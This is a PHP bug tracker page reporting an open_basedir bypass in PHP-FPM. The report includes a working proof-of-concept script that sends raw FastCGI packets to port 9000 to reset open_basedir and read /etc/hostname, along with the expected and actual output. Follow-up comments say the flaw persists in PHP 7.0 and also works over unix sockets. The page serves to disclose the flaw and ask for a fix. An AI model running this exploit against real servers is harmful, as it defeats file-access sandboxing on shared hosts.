|  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Sec Bug #70134 open_basedir bypass with IP-based PHP-FPM
Submitted: 2015-07-24 20:41 UTC Modified: 2017-10-24 07:45 UTC
Avg. Score:4.0 ± 1.0
Reproduced:0 of 0 (0.0%)
From: butesa at freenet dot de Assigned:
Status: Open Package: FPM related
PHP Version: 5.5.27 OS: Ubuntu
Private report: No CVE-ID: None
Have you experienced this issue?
Rate the importance of this bug to you:

 [2015-07-24 20:41 UTC] butesa at freenet dot de
Please change the implementation of PHP_VALUE so that open_basedir can only be tightened, but not loosened (as it is already implemented with ini_set()).

At the moment, you can bypass open_basedir by connecting to the FPM port.

Test script:
echo 'START ';
echo ini_get('open_basedir');
echo file_get_contents('/etc/hostname');
echo ' END';
echo '<br/>';

if (isset($_GET['stop'])) exit;

$params = array();
$params['REQUEST_METHOD'] = 'GET';
$params['QUERY_STRING'] = 'stop=true';
$params['PHP_VALUE'] = 'open_basedir=/';

$params_encoded = '';
foreach ($params as $k=>$v) {
	$params_encoded.= chr(strlen($k)).chr(strlen($v)).$k.$v;

$len = strlen($params_encoded);
$len_encoded = chr($len >> 8).chr($len & 255);

$fp = fsockopen('',9000);
fwrite($fp, "\x01\x01\x00\x01\x00\x08\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00");
fwrite($fp, "\x01\x04\x00\x01".$len_encoded."\x00\x00".$params_encoded);
fwrite($fp, "\x01\x04\x00\x01\x00\x00\x00\x00");
fwrite($fp, "\x01\x05\x00\x01\x00\x00\x00\x00");
$result = '';
while (!feof($fp)) {
  $result .= fread($fp, 1024);

$matches = array();
preg_match('/START.*END/s', $result, $matches);
echo $matches[0];

Expected result:
[shortened for better readability]

START /var/www/html/
Warning: file_get_contents(): open_basedir restriction in effect.
START /var/www/html/
Warning: file_get_contents(): open_basedir restriction in effect.

Actual result:
START /var/www/html/
Warning: file_get_contents(): open_basedir restriction in effect.
START / my_hostname END

Don't be surprised, you may also encounter bug 63965. In that case, the output will look like this:

START / my_hostname END
START / my_hostname END


Add a Patch

Pull Requests

Add a Pull Request


AllCommentsChangesGit/SVN commitsRelated reports
 [2015-07-24 20:46 UTC] butesa at freenet dot de
Sorry, I didn't mean to make this bug report private. There is no sensible information in it.
 [2015-09-28 23:04 UTC]
-Assigned To: +Assigned To: fat
 [2017-04-19 10:03 UTC] xuanhung1606 at gmail dot com
 [2017-10-24 07:45 UTC]
-Status: Assigned +Status: Open -Assigned To: fat +Assigned To:
 [2018-01-19 19:40 UTC] bohu at cryp dot email
This critical security issue is still present in PHP 7.0.
At least on Debian Stretch PHP 7.0.27-0+deb9u1.

Any plan to patch it ?
Thx !
 [2020-01-14 21:45 UTC] diego dot blanco at treitos dot com
Additionally it seems that open_basedir is bypassed by fsocksopen when using unix sockets, so this is also exploitable with unix sockets.
PHP Copyright © 2001-2020 The PHP Group
All rights reserved.
Last updated: Sun Oct 25 22:01:24 2020 UTC